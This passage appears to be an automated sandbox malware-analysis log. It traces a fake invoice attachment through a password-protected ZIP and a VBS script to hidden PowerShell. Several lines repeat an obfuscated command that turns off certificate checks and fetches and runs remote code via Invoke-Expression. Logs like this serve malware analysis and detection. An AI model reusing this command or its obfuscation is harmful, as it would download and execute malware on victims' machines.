Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^\|%{[char]($_/3)})-join'') ^^^\| ^^^&($kwXZtAwej) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6376:120:WilError_03

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2148,i,14000748609247893809,15602923536421620925,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2184 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\faktura_FV2025020637756.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\faktura_FV2025020637756.zip"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab" "C:\Users\user\Downloads\faktura_FV2025020637756.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^\|%{[char]($_/3)})-join'') ^^^\| ^^^&($kwXZtAwej) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^\|%{[char]($_/3)})-join'') ^\| ^&($kwXZtAwej) "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2148,i,14000748609247893809,15602923536421620925,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2184 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\faktura_FV2025020637756.zip"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab" "C:\Users\user\Downloads\faktura_FV2025020637756.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^\|%{[char]($_/3)})-join'') ^^^\| ^^^&($kwXZtAwej) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^\|%{[char]($_/3)})-join'') ^\| ^&($kwXZtAwej) "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
